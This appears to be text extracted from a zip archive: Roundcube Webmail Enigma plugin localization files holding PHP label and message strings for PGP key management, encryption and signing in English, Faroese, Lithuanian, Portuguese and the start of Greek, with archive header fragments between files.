 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/roundcube/roundcube-webmail/plugin-enigma/
*/

$labels['encryption'] = 'Encryption';
$labels['enigmacerts'] = 'S/MIME Certificates';
$labels['enigmakeys'] = 'PGP Keys';
$labels['keysfromto'] = 'Keys $from to $to of $count';
$labels['keyname'] = 'Name';
$labels['keyid'] = 'Key ID';
$labels['keyuserid'] = 'User ID';
$labels['keytype'] = 'Key type';
$labels['fingerprint'] = 'Fingerprint';
$labels['subkeys'] = 'Subkeys';
$labels['keyprops'] = 'Key properties';
$labels['basicinfo'] = 'Basic Information';
$labels['userids'] = 'Additional Users';
$labels['typepublickey'] = 'public key';
$labels['typekeypair'] = 'key pair';
$labels['keyattfound'] = 'This message contains attached PGP key(s).';
$labels['keyattimport'] = 'Import key(s)';
$labels['typesign'] = 'Sign';
$labels['typeencrypt'] = 'Encrypt';
$labels['typecert'] = 'Certify';
$labels['typeauth'] = 'Authentication';
$labels['subkeyid'] = 'ID';
$labels['subkeyalgo'] = 'Algorithm';
$labels['subkeycreated'] = 'Created';
$labels['subkeyexpires'] = 'Expires';
$labels['subkeyusage'] = 'Usage';
$labels['expiresnever'] = 'never';
$labels['unknown'] = 'unknown';
$labels['uservalid'] = 'Valid';
$labels['userid'] = 'ID';
$labels['valid'] = 'valid';
$labels['supportencryption'] = 'Enable message encryption and signing';
$labels['supportsignatures'] = 'Enable message signatures verification';
$labels['supportdecryption'] = 'Enable message decryption';
$labels['signdefault'] = 'Sign all messages by default';
$labels['encryptdefault'] = 'Encrypt all messages by default';
$labels['attachpubkeydefault'] = 'Attach my public PGP key by default';
$labels['passwordtime'] = 'Keep private key passwords for';
$labels['nminutes'] = '$m minute(s)';
$labels['wholesession'] = 'the whole session';
$labels['createkeys'] = 'Create a new key pair';
$labels['importkeys'] = 'Import key(s)';
$labels['exportkeys'] = 'Export key(s)';
$labels['keyactions'] = 'Key actions...';
$labels['keyremove'] = 'Remove';
$labels['keydisable'] = 'Disable';
$labels['keyrevoke'] = 'Revoke';
$labels['keysend'] = 'Send public key in a message';
$labels['keychpass'] = 'Change password';
$labels['keyadd'] = 'Add key';
$labels['newkeyident'] = 'Identity';
$labels['newkeypass'] = 'Password';
$labels['newkeypassconfirm'] = 'Confirm password';
$labels['newkeytype'] = 'Key type';
$labels['rsa2048'] = 'RSA - 2048 bits';
$labels['rsa4096'] = 'RSA - 4096 bits';
$labels['ecckeypair'] = 'ECC (Elliptic Curve)';
$labels['keygenerating'] = 'Generating keys...';
$labels['encryptionoptions'] = 'Encryption options...';
$labels['encryptmsg'] = 'Encrypt this message';
$labels['signmsg'] = 'Digitally sign this message';
$labels['sendunencrypted'] = 'Send unencrypted';
$labels['enterkeypasstitle'] = 'Enter key passphrase';
$labels['enterkeypass'] = 'A passphrase is needed to unlock the secret key ($keyid) for user: $user.';
$labels['attachpubkeymsg'] = 'Attach my public key';
$labels['keyexportprompt'] = 'Do you want to include secret keys in the saved OpenPGP keys file?';
$labels['onlypubkeys'] = 'Export Public Keys Only';
$labels['withprivkeys'] = 'Export Secret Keys';
$labels['findkey'] = 'Search on key server(s)';
$labels['keyimportlabel'] = 'Import from file';
$labels['keyimportsearchlabel'] = 'Search on key server(s)';
$labels['managekeys'] = 'Manage PGP keys';
$labels['identitymatchingprivkeys'] = 'You have $nr matching PGP private keys stored in your keyring:';
$labels['identitynoprivkeys'] = 'This sender identity doesn\'t yet have a PGP private key stored in your keyring.';
$labels['arialabelkeyexportoptions'] = 'Keys export options';
$labels['arialabelkeysearchform'] = 'Keys search form';
$labels['arialabelkeyoptions'] = 'Key options';
$messages['sigvalid'] = 'Verified signature from $sender.';
$messages['sigvalidpartial'] = 'Verified signature from $sender, but part of the body was not signed.';
$messages['siginvalid'] = 'Invalid signature from $sender.';
$messages['sigunverified'] = 'Unverified signature. Certificate not verified. Certificate ID: $keyid.';
$messages['signokey'] = 'Unverified signature. Public key not found. Key ID: $keyid.';
$messages['sigerror'] = 'Unverified signature. Internal error.';
$messages['decryptok'] = 'Message decrypted.';
$messages['decrypterror'] = 'Decryption failed.';
$messages['decryptnokey'] = 'Decryption failed. Private key not found. Key ID: $keyid.';
$messages['decryptnomdc'] = 'Decryption skipped. Message is not integrity protected.';
$messages['decryptbadpass'] = 'Decryption failed. Invalid password.';
$messages['decryptnopass'] = 'Decryption failed. Key password required.';
$messages['decryptpartial'] = 'Message decrypted, but part of the body was not encrypted.';
$messages['signerror'] = 'Signing failed.';
$messages['signnokey'] = 'Signing failed. Private key not found.';
$messages['signbadpass'] = 'Signing failed. Invalid password.';
$messages['signnopass'] = 'Signing failed. Key password required.';
$messages['encrypterror'] = 'Encryption failed.';
$messages['encryptnokey'] = 'Encryption failed. Public key not found for $email.';
$messages['encryptnoprivkey'] = 'Encryption failed. Private key not found.';
$messages['nokeysfound'] = 'No keys found';
$messages['keynotfound'] = 'Key not found!';
$messages['keyopenerror'] = 'Unable to get key information! Internal error.';
$messages['keylisterror'] = 'Unable to list keys! Internal error.';
$messages['keysimportfailed'] = 'Unable to import key(s)! Internal error.';
$messages['keysimportsuccess'] = 'Key(s) imported successfully. Imported: $new, unchanged: $old.';
$messages['keyremoving'] = 'Removing key(s)...';
$messages['keyremoveconfirm'] = 'Are you sure, you want to delete selected key(s)?';
$messages['keyremovesuccess'] = 'Key(s) deleted successfully';
$messages['keyremoveerror'] = 'Unable to delete selected key(s).';
$messages['keyimporttext'] = 'You can import private and public key(s) or revocation signatures in ASCII-Armor format.';
$messages['keyimportsearchtext'] = 'You can search for public keys by key identifier, user name or email address and then import them directly.';
$messages['keystoragenotice'] = 'All public and private keys are stored on the server.';
$messages['formerror'] = 'Please fill in the form. All fields are required!';
$messages['passwordsdiffer'] = 'Passwords do not match!';
$messages['keygenerateerror'] = 'Failed to generate a key pair';
$messages['keygeneratesuccess'] = 'A key pair generated and imported successfully.';
$messages['keygennosupport'] = 'Your web browser does not support cryptography. Unable to generate a key pair!';
$messages['noidentselected'] = 'You have to select at least one identity for the key!';
$messages['nonameident'] = 'Identity must have a user name defined!';
$labels['newkeysize'] = 'Key size';
$labels['key2048'] = '2048 bits - default';
$labels['key4096'] = '4096 bits - more secure';
PKh�\1����%plugins/enigma/localization/fo_FO.incnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Enigma plugin              |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/roundcube/roundcube-webmail/plugin-enigma/
*/

$labels['encryption'] = 'Brongla';
$labels['enigmacerts'] = 'S/MIME skjal';
$labels['enigmakeys'] = 'PGP lyklar';
$labels['keysfromto'] = 'Lyklar frá $from til $to av $count';
$labels['keyname'] = 'Navn';
$labels['keyid'] = 'Lykla ID';
$labels['keyuserid'] = 'Brúkara ID';
$labels['keytype'] = 'Lykla týpa';
$labels['fingerprint'] = 'Fingramerki';
$labels['subkeys'] = 'Undir lyklar';
$labels['basicinfo'] = 'Grund upplýsingar';
$labels['userids'] = 'Eyka brúkarar';
$labels['typepublickey'] = 'almenna lykil';
$labels['typekeypair'] = 'lykla par';
$labels['keyattfound'] = 'Hesi boð innihalda viðheftar PGP lyklar';
$labels['keyattimport'] = 'Innflyt lyk(lar/il)';
$labels['typesign'] = 'Undirskriva';
$labels['typeencrypt'] = 'Brongla';
$labels['typecert'] = 'Vátta';
$labels['typeauth'] = 'Samgildi';
$labels['subkeyid'] = 'ID';
$labels['subkeyalgo'] = 'Algoritma';
$labels['subkeycreated'] = 'Stovna';
$labels['subkeyexpires'] = 'Gongur út';
$labels['subkeyusage'] = 'Brúksla';
$labels['expiresnever'] = 'aldrin';
$labels['unknown'] = 'ókent';
$labels['uservalid'] = 'Gildigt';
$labels['userid'] = 'ID';
$labels['valid'] = 'Gildigt';
$labels['supportencryption'] = 'Tendra boð brongling og undirskriving';
$labels['supportsignatures'] = 'Tendra váttan av undirskriftum';
$labels['supportdecryption'] = 'Tendra boð óbrongsling';
$labels['signdefault'] = 'Undirskriva øll boð vanliga';
$labels['encryptdefault'] = 'Brongla øll boð vanligt';
$labels['passwordtime'] = 'Goym loyniorð hjá loyndarlykilum fyri';
$labels['nminutes'] = '$m minutt(ir)';
$labels['wholesession'] = 'øll setanin';
$labels['createkeys'] = 'Skapa nýtt lykla par';
$labels['importkeys'] = 'Innflyt lyk(lar/il)';
$labels['exportkeys'] = 'Flyt út lyklar';
$labels['keyactions'] = 'Lykla gerðir';
$labels['keyremove'] = 'Strika';
$labels['keydisable'] = 'Sløkk';
$labels['keyrevoke'] = 'Sig úr gildi';
$labels['keysend'] = 'Send almennan lykil í einum boðum';
$labels['keychpass'] = 'Broyt loyniorð';
$labels['newkeypass'] = 'Loyniorð';
$labels['newkeytype'] = 'Lykla týpa';
$labels['keygenerating'] = 'Framleiður lyklar...';
$labels['encryptionoptions'] = 'Bronglu møguleikar';
$labels['encryptmsg'] = 'Brongla hesi boð';
$labels['signmsg'] = 'Undirskriva hesi boð';
$labels['enterkeypasstitle'] = 'Skriva loyniorð';
$labels['enterkeypass'] = 'Tað er tørvur á einum loyniorðið fyri at stongja upp loyndar-lykilin ($keyid) hjá brúkara:';
$labels['keyimportlabel'] = 'Inflyt frá fílu';
$labels['arialabelkeyexportoptions'] = 'Lykla út flytingar møguleikar';
$messages['sigvalid'] = 'Váttað undirskrift frá $sender.';
$messages['siginvalid'] = 'Ógildig undirskrift frá $sender.';
$messages['sigunverified'] = 'Óvátta undirskrift: skjal er ikki vátta. Skjal ID: $keyid.';
$messages['signokey'] = 'Óvátta undirskrift. Almennur lykil var ikki funnin. Lykla ID: $keyid.';
$messages['sigerror'] = 'Óvátta boð. Innanhýsis feilur.';
$messages['decryptok'] = 'Boðini eru óbrongla';
$messages['decrypterror'] = 'Feilur kom í óbrongslingina.';
$messages['decryptnokey'] = 'Óbrongsling riggaði ikki. Loyndarlykilin var ikki funnin. Lykila ID: $keyid.';
$messages['decryptnopass'] = 'Óbrongslan riggaði ikki. Lykla loyniorð er neyðugt.';
$messages['signerror'] = 'Undirskriving riggaði ikki.';
$messages['signnokey'] = 'Undirskriving riggaði ikki. Eingin privat lyki funnin';
$messages['signnopass'] = 'Undirskriving riggaði ikki. Lykla loyniorð er neyðugt.';
$messages['encrypterror'] = 'Brongsling riggaði ikk';
$messages['encryptnokey'] = 'Brongsling riggaði ikki. Almennur lykil var ikki funnin fyri $email';
$messages['nokeysfound'] = 'Eingir lyklar vóru funnir';
$messages['keyopenerror'] = 'Bar ikki til at fáa upplýsingar um lyklar! Innanhýsis feilur';
$messages['keylisterror'] = 'Bar ikki til at lista lyklar! Innanhýsis feilur';
$messages['keysimportfailed'] = 'Bar ikki til at innflyta lyk(il/lar)! Innanhýsis feilur';
$messages['keysimportsuccess'] = 'Lykar innfluttir. Innflutt: $new, óbroyttir: $old.';
$messages['keyremoving'] = 'Strikar lyk(il/lar)';
$messages['keyremoveconfirm'] = 'Ert tú vísur í, at tú vilt strika hesar lyklar?';
$messages['keyremovesuccess'] = 'Lyk(il/lar) eru strikaðir';
$messages['keyremoveerror'] = 'Ber ikki til at strika lyk(il/lar)';
$messages['keyimporttext'] = 'Tú kanst innflyta almennar og privat lyklar ella taka aftur undirskriftir í ASCII-Armor formati';
$messages['formerror'] = 'Vinarliga fylla allan formin. Øll felt eru kravd!';
$messages['passwordsdiffer'] = 'Loyniorðini eru ikki eins!';
$messages['keygenerateerror'] = 'Feilur kom í, tá roynt var at framleiða lykla par';
$messages['keygeneratesuccess'] = 'Eitt lykla-par var framleitt og inn flutt';
$messages['keygennosupport'] = 'Tín kagari dugur ikki dulmálsvísindi. Ber ikki til at framleiða lykla par';
$messages['nonameident'] = 'samleiki má hava eitt brúkaranavn';
$labels['key2048'] = '2048 bit - vanligt';
$labels['key4096'] = '4096 bits - meiri trygt';
PKh�\b�<�; ; %plugins/enigma/localization/lt_LT.incnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Enigma plugin              |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/roundcube/roundcube-webmail/plugin-enigma/
*/

$labels['encryption'] = 'Šifravimas';
$labels['enigmacerts'] = 'S/MIME liudijimai';
$labels['enigmakeys'] = 'PGP raktai';
$labels['keysfromto'] = '$from – $to raktai iš $count';
$labels['keyname'] = 'Vardas';
$labels['keyid'] = 'Rakto ID';
$labels['keyuserid'] = 'Naudotojo ID';
$labels['keytype'] = 'Rakto tipas';
$labels['fingerprint'] = 'Kontrolinis kodas';
$labels['subkeys'] = 'Porakčiai';
$labels['keyprops'] = 'Rakto savybės';
$labels['basicinfo'] = 'Pagrindinė informacija';
$labels['userids'] = 'Papildomi naudotojai';
$labels['typepublickey'] = 'viešasis raktas';
$labels['typekeypair'] = 'raktų pora';
$labels['keyattfound'] = 'Šiame laiške aptiktas PGP raktas (raktai).';
$labels['keyattimport'] = 'Importuoti raktą (raktus)';
$labels['typesign'] = 'Pasirašyti';
$labels['typeencrypt'] = 'Šifruoti';
$labels['typecert'] = 'Liudyti';
$labels['typeauth'] = 'Autentikacija';
$labels['subkeyid'] = 'ID';
$labels['subkeyalgo'] = 'Algoritmas';
$labels['subkeycreated'] = 'Sukurtas';
$labels['subkeyexpires'] = 'Galioja iki';
$labels['subkeyusage'] = 'Naudotinas';
$labels['expiresnever'] = 'neterminuotai';
$labels['unknown'] = 'nežinoma';
$labels['uservalid'] = 'Galioja';
$labels['userid'] = 'ID';
$labels['valid'] = 'galioja';
$labels['supportencryption'] = 'Įgalinti laiškų šifravimą ir pasirašymą';
$labels['supportsignatures'] = 'Įgalinti laiškų parašų tikrinimą';
$labels['supportdecryption'] = 'Įgalinti laiškų iššifravimą';
$labels['signdefault'] = 'Numatytai pasirašinėti visus laiškus';
$labels['encryptdefault'] = 'Numatytai šifruoti visus laiškus';
$labels['attachpubkeydefault'] = 'Visada prisegti mano viešąjį raktą prie laiško.';
$labels['passwordtime'] = 'Saugoti privačiųjų raktų slaptažodžius';
$labels['nminutes'] = '$m min.';
$labels['wholesession'] = 'visą seanso laiką';
$labels['createkeys'] = 'Kurti naują raktų porą';
$labels['importkeys'] = 'Importuoti raktus';
$labels['exportkeys'] = 'Eksportuoti raktus';
$labels['keyactions'] = 'Raktų veiksmai…';
$labels['keyremove'] = 'Šalinti';
$labels['keydisable'] = 'Išjungti';
$labels['keyrevoke'] = 'Atšaukti';
$labels['keysend'] = 'Siųsti viešąjį raktą kartu su laišku';
$labels['keychpass'] = 'Keisti slaptažodį';
$labels['keyadd'] = 'Pridėti raktą';
$labels['newkeyident'] = 'Tapatybė';
$labels['newkeypass'] = 'Slaptažodis';
$labels['newkeypassconfirm'] = 'Pakartokite slaptažodį';
$labels['newkeytype'] = 'Rakto tipas';
$labels['rsa2048'] = 'RSA - 2048 bitų';
$labels['rsa4096'] = 'RSA - 4096 bitų';
$labels['ecckeypair'] = 'ECC (Elliptic Curve)';
$labels['keygenerating'] = 'Raktai generuojami…';
$labels['encryptionoptions'] = 'Šifravimo parinktys…';
$labels['encryptmsg'] = 'Šifruoti šį laišką';
$labels['signmsg'] = 'Pasirašyti šį laišką';
$labels['sendunencrypted'] = 'Siųsti nešifruotą';
$labels['enterkeypasstitle'] = 'Įveskite rakto slaptafrazę';
$labels['enterkeypass'] = 'Naudotojo $user slaptajam raktui ($keyid) atrakinti reikalinga slaptafrazė.';
$labels['attachpubkeymsg'] = 'Prisegti mano viešąjį raktą';
$labels['keyexportprompt'] = 'Ar norite įkelti privačiuosius raktus, saugojamus OpenPGP raktų faile?';
$labels['onlypubkeys'] = 'Eksportuoti tik viešuosius raktus';
$labels['withprivkeys'] = 'Eksportuoti privačiuosius raktus';
$labels['findkey'] = 'Ieškoti raktų serveryje(-iuose)';
$labels['keyimportlabel'] = 'Importuoti iš failo';
$labels['keyimportsearchlabel'] = 'Ieškoti raktų serveryje(-iuose)';
$labels['managekeys'] = 'Tvarkyti PGP raktus';
$labels['identitymatchingprivkeys'] = 'Turite $nr atitinkančius PGP privačiuosius raktus, saugomus jūsų raktinėje:';
$labels['identitynoprivkeys'] = 'Šio siuntėjo tapatybė kol kas neturi jūsų raktinėje saugomo PGP privačiojo rakto.';
$labels['arialabelkeyexportoptions'] = 'Raktų eksportavimo parinktys';
$labels['arialabelkeysearchform'] = 'Raktų paieškos forma';
$labels['arialabelkeyoptions'] = 'Rakto parinktys';
$messages['sigvalid'] = 'Galiojantis $sender parašas.';
$messages['sigvalidpartial'] = '$sender parašas patvirtintas, bet už dalį laiško nebuvo pasirašyta.';
$messages['siginvalid'] = 'Negaliojantis $sender parašas.';
$messages['sigunverified'] = 'Parašo galiojimas nepatikrintas. Nepatvirtintas liudijimas. Liudijimo ID: $keyid.';
$messages['signokey'] = 'Parašo galiojimas nepatikrintas. Nerastas viešasis raktas. Rakto ID: $keyid.';
$messages['sigerror'] = 'Parašo galiojimas nepatikrintas. Įvyko vidinė klaida.';
$messages['decryptok'] = 'Laiškas iššifruotas.';
$messages['decrypterror'] = 'Iššifruoti nepavyko.';
$messages['decryptnokey'] = 'Iššifruoti nepavyko. Nerastas privatusis raktas. Rakto ID: $keyid.';
$messages['decryptnomdc'] = 'Iššifravimas praleistas. Laiškas nėra apsaugotas vientisumu.';
$messages['decryptbadpass'] = 'Iššifravimas nepavyko. Neteisingas slaptažodis.';
$messages['decryptnopass'] = 'Nepavyko iššifruoti, reikalingas rakto slaptažodis.';
$messages['decryptpartial'] = 'Laiškas iššifruotas, nors dalis laiško ir nebuvo užšifruota.';
$messages['signerror'] = 'Pasirašyti nepavyko.';
$messages['signnokey'] = 'Pasirašyti nepavyko. Nerastas privatusis raktas.';
$messages['signbadpass'] = 'Pasirašyti nepavyko. Neteisingas slaptažodis.';
$messages['signnopass'] = 'Nepavyko pasirašyti, reikalingas rakto slaptažodis.';
$messages['encrypterror'] = 'Užšifruoti nepavyko.';
$messages['encryptnokey'] = 'Užšifruoti nepavyko. Nerastas viešasis $email raktas.';
$messages['encryptnoprivkey'] = 'Šifravimas nepavyko. Nerastas privatusis raktas.';
$messages['nokeysfound'] = 'Raktų nerasta';
$messages['keynotfound'] = 'Raktas nerastas!';
$messages['keyopenerror'] = 'Nepavyko gauti rakto duomenų! Įvyko vidinė klaida.';
$messages['keylisterror'] = 'Nepavyko išvardinti raktų! Įvyko vidinė klaida.';
$messages['keysimportfailed'] = 'Nepavyko importuoti rakto (raktų)! Įvyko vidinė klaida.';
$messages['keysimportsuccess'] = 'Raktai importuoti sėkmingai. Nauji raktai: $new, nepakitę: $old.';
$messages['keyremoving'] = 'Raktų šalinimas…';
$messages['keyremoveconfirm'] = 'Ar tikrai norite pašalinti pažymėtus raktus?';
$messages['keyremovesuccess'] = 'Raktai sėkmingai pašalinti';
$messages['keyremoveerror'] = 'Pasirinktų raktų pašalinti nepavyko.';
$messages['keyimporttext'] = 'Galite importuoti „ASCII-Armor“ formato privačiuosius ir viešuosius raktus bei atšaukimo liudijimus.';
$messages['keyimportsearchtext'] = 'Galite ieškoti viešųjų raktų pagal rakto identifikatorių, vartotojo vardą arba el. pašto adresą ir juos tiesiogiai importuoti.';
$messages['keystoragenotice'] = 'Visi viešieji ir privatieji raktai yra laikomi serveryje.';
$messages['formerror'] = 'Prašome užpildyti formą. Visi laukai privalomi!';
$messages['passwordsdiffer'] = 'Slaptažodžiai nesutampa!';
$messages['keygenerateerror'] = 'Nepavyko sugeneruoti raktų poros.';
$messages['keygeneratesuccess'] = 'Raktų pora sėkmingai sugeneruota ir importuota.';
$messages['keygennosupport'] = 'Jūsų naršyklėje kriptografija nepalaikoma. Raktų poros sugeneruoti nepavyko!';
$messages['noidentselected'] = 'Jūs turite raktui pasirinkti bent vieną tapatybę!';
$messages['nonameident'] = 'Tapatybei turi būti nurodytas naudotojo vardas!';
$labels['newkeysize'] = 'Rakto dydis';
$labels['key2048'] = '2048 bitai – numatytasis';
$labels['key4096'] = '4096 bitai – saugesnis';
PKh�\�|F� � %plugins/enigma/localization/pt_PT.incnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Enigma plugin              |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/roundcube/roundcube-webmail/plugin-enigma/
*/

$labels['encryption'] = 'Encriptação';
$labels['enigmacerts'] = 'Certificados S/MIME';
$labels['enigmakeys'] = 'Chaves PGP';
$labels['keysfromto'] = 'Chave de $from a $to de $count';
$labels['keyname'] = 'Nome';
$labels['keyid'] = 'ID da Chave';
$labels['keyuserid'] = 'ID do Utilizador';
$labels['keytype'] = 'Tipo de chave';
$labels['fingerprint'] = 'Impressão digital';
$labels['subkeys'] = 'Sub-chaves';
$labels['keyprops'] = 'Propriedades da chave';
$labels['basicinfo'] = 'Informação básica';
$labels['userids'] = 'Utilizadores adicionais';
$labels['typepublickey'] = 'chave publica';
$labels['typekeypair'] = 'par de chaves';
$labels['keyattfound'] = 'Esta mensagem contém chave(s) PGP anexada(s).';
$labels['keyattimport'] = 'Importar chave(s)';
$labels['typesign'] = 'Assinar';
$labels['typeencrypt'] = 'Encriptar';
$labels['typecert'] = 'Certificar';
$labels['typeauth'] = 'Autenticação';
$labels['subkeyid'] = 'ID';
$labels['subkeyalgo'] = 'Algoritmo';
$labels['subkeycreated'] = 'Criado';
$labels['subkeyexpires'] = 'Expira';
$labels['subkeyusage'] = 'Uso';
$labels['expiresnever'] = 'nunca';
$labels['unknown'] = 'desconhecido';
$labels['uservalid'] = 'Válido';
$labels['userid'] = 'ID';
$labels['valid'] = 'válido';
$labels['supportencryption'] = 'Activar a encriptação de mensagens e assinatura';
$labels['supportsignatures'] = 'Activar a verificação de assinaturas de mensagens';
$labels['supportdecryption'] = 'Activar desencriptação de mensagem';
$labels['signdefault'] = 'Assinar todas as mensagens por defeito';
$labels['encryptdefault'] = 'Encriptar todas as mensagens por defeito';
$labels['attachpubkeydefault'] = 'Anexar a minha chave pública PGP por defeito';
$labels['passwordtime'] = 'Manter senhas de chave privada para';
$labels['nminutes'] = '$m minuto(s)';
$labels['wholesession'] = 'toda a sessão';
$labels['createkeys'] = 'Criar um novo par de chaves';
$labels['importkeys'] = 'Importar chave(s)';
$labels['exportkeys'] = 'Exportar chave(s)';
$labels['keyactions'] = 'Acções das chaves...';
$labels['keyremove'] = 'Remover';
$labels['keydisable'] = 'Desactivar';
$labels['keyrevoke'] = 'Revogar';
$labels['keysend'] = 'Enviar chave pública numa mensagem';
$labels['keychpass'] = 'Alterar senha';
$labels['keyadd'] = 'Adicionar chave';
$labels['newkeyident'] = 'Identidade';
$labels['newkeypass'] = 'Senha';
$labels['newkeypassconfirm'] = 'Confirmar senha';
$labels['newkeytype'] = 'Tipo de chave';
$labels['rsa2048'] = 'RSA - 2048 bits';
$labels['rsa4096'] = 'RSA - 4096 bits';
$labels['ecckeypair'] = 'ECC (Curva Elíptica)';
$labels['keygenerating'] = 'A gerar chaves...';
$labels['encryptionoptions'] = 'Opções de encriptação...';
$labels['encryptmsg'] = 'Encriptar esta mensagem';
$labels['signmsg'] = 'Assinar digitalmente esta mensagem';
$labels['sendunencrypted'] = 'Enviar desencriptado';
$labels['enterkeypasstitle'] = 'Digite chave de frase de acesso';
$labels['enterkeypass'] = 'É necessária uma frase de acesso para desbloquear a chave secreta ($keyid) do utilizador: $user.';
$labels['attachpubkeymsg'] = 'Anexar a minha chave pública';
$labels['keyexportprompt'] = 'Deseja incluir as chaves secretas no ficheiro, guardado, de chaves OpenPGP?';
$labels['onlypubkeys'] = 'Exportar apenas Chaves Públicas';
$labels['withprivkeys'] = 'Exportar chaves secretas';
$labels['findkey'] = 'Pesquisar no(s) servidor(es) de chaves';
$labels['keyimportlabel'] = 'Importar do ficheiro';
$labels['keyimportsearchlabel'] = 'Pesquisar no(s) servidor(es) de chaves';
$labels['managekeys'] = 'Gerir chaves PGP';
$labels['identitymatchingprivkeys'] = 'Tem $nr correspondências de chaves PGP privadas armazenadas no seu porta-chaves:';
$labels['identitynoprivkeys'] = 'Esta identidade do remetente ainda não tem uma chave PGP privada armazenada no seu porta-chaves.';
$labels['arialabelkeyexportoptions'] = 'Opções de exportação de chaves';
$labels['arialabelkeysearchform'] = 'Formulário de pesquisa de chaves';
$labels['arialabelkeyoptions'] = 'Opções da chave';
$messages['sigvalid'] = 'Assinatura verificada de $sender.';
$messages['sigvalidpartial'] = 'Assinatura verificada a partir de $sender, mas parte do corpo não foi assinado.';
$messages['siginvalid'] = 'Assinatura inválida de $sender.';
$messages['sigunverified'] = 'Assinatura não verificada. Certificado não verificado. ID do certificado: $keyid.';
$messages['signokey'] = 'Assinatura não verificada. Chave pública não encontrada. ID da chave: $keyid.';
$messages['sigerror'] = 'Assinatura não verificada. Erro interno.';
$messages['decryptok'] = 'Mensagem desencriptada.';
$messages['decrypterror'] = 'A desencriptação falhou.';
$messages['decryptnokey'] = 'A desencriptação falhou. Chave privada não encontrada. ID da chave: $keyid.';
$messages['decryptnomdc'] = 'Desencriptação ignorada. A mensagem não está protegida na sua integridade.';
$messages['decryptbadpass'] = 'A desencriptação falhou. Senha inválida.';
$messages['decryptnopass'] = 'A desencriptação falhou. Chave necessária.';
$messages['decryptpartial'] = 'Mensagem desencriptada, mas parte do corpo não foi encriptado.';
$messages['signerror'] = 'A assinatura falhou.';
$messages['signnokey'] = 'A assinatura falhou. Chave privada não encontrada.';
$messages['signbadpass'] = 'A assinatura falhou. Senha inválida.';
$messages['signnopass'] = 'A assinatura falhou. Chave necessária.';
$messages['encrypterror'] = 'A encriptação falhou.';
$messages['encryptnokey'] = 'A encriptação falhou. Chave pública não encontrada para $email.';
$messages['encryptnoprivkey'] = 'A encriptação falhou. A chave privada não foi encontrada.';
$messages['nokeysfound'] = 'Não foram encontradas chaves';
$messages['keynotfound'] = 'Chave não encontrada!';
$messages['keyopenerror'] = 'Não foi possível obter informações sobre a chave! Erro interno.';
$messages['keylisterror'] = 'Não foi possível listar as chaves! Erro interno.';
$messages['keysimportfailed'] = 'Não foi possível importar a(s) chave(s)! Erro interno.';
$messages['keysimportsuccess'] = 'Chave(s) importada(s) com sucesso. Importada: $new, inalterada: $old.';
$messages['keyremoving'] = 'A remover chave(s)...';
$messages['keyremoveconfirm'] = 'Tem a certeza que pretende eliminar a(s) chave(s) selecionada(s)?';
$messages['keyremovesuccess'] = 'Chave(s) eliminada(s) com sucesso.';
$messages['keyremoveerror'] = 'Não foi possível eliminar a(s) chave(s) selecionada(s).';
$messages['keyimporttext'] = 'Pode importar chaves privadas e públicas ou de revogação de assinaturas em formato ASCII-Armor.';
$messages['keyimportsearchtext'] = 'Pode procurar por chaves públicas através de identificadores de chave, nome de utilizador ou endereço de email e, em seguida, importá-las directamente.';
$messages['keystoragenotice'] = 'Todas as chaves públicas e privadas são armazenadas no servidor.';
$messages['formerror'] = 'Por favor, preencha o formulário. Todos os campos são obrigatórios!';
$messages['passwordsdiffer'] = 'As senhas não coincidem!';
$messages['keygenerateerror'] = 'Falha ao gerar o par de chaves';
$messages['keygeneratesuccess'] = 'Foi gerado e importado, com sucesso, um par de chaves.';
$messages['keygennosupport'] = 'O seu navegador não suporta criptografia. Não foi possível gerar um par de chaves!';
$messages['noidentselected'] = 'Tem de seleccionar pelo menos uma identidade para a chave!';
$messages['nonameident'] = 'A identidade deve ter um nome de utilizador definido!';
$labels['newkeysize'] = 'Tamanho da chave';
$labels['key2048'] = '2048 bits - predefinição';
$labels['key4096'] = '4096 bits - mais seguro';
PKh�\8x#�k/k/%plugins/enigma/localization/el_GR.incnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Enigma plugin              |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/roundcube/roundcube-webmail/plugin-enigma/
*/

$labels['encryption'] = 'Κρυπτογράφηση';
$labels['enigmacerts'] = 'Πιστοποιητικά S/MIME';
$labels['enigmakeys'] = 'PGP Κλειδιά';
$labels['keysfromto'] = 'Κλειδιά $from έως $to από $count';
$labels['keyname'] = 'Όνομα';
$labels['keyid'] = 'Ταυτότητα κλειδιού';
$labels['keyuserid'] = 'Ταυτότητα Χρήστη';
$labels['keytype'] = 'Τύπος κλειδιού';
$labels['fingerprint'] = 'Δακτυλικό αποτύπωμα';
$labels['subkeys'] = 'Υποκλειδιά';
$labels['keyprops'] = 'Ιδιότητες κλειδιού';
$labels['basicinfo'] = 'Βασικές πληροφορίες';
$labels['userids'] = 'Επιπλέον Χρήστες';
$labels['typepublickey'] = 'δημόσιο κλειδί';
$labels['typekeypair'] = 'ζεύγος κλειδιού';
$labels['keyattfound'] = 'Αυτό το μήνυμα περιέχει συνημμένο(α) κλειδί(ά) PGP.';
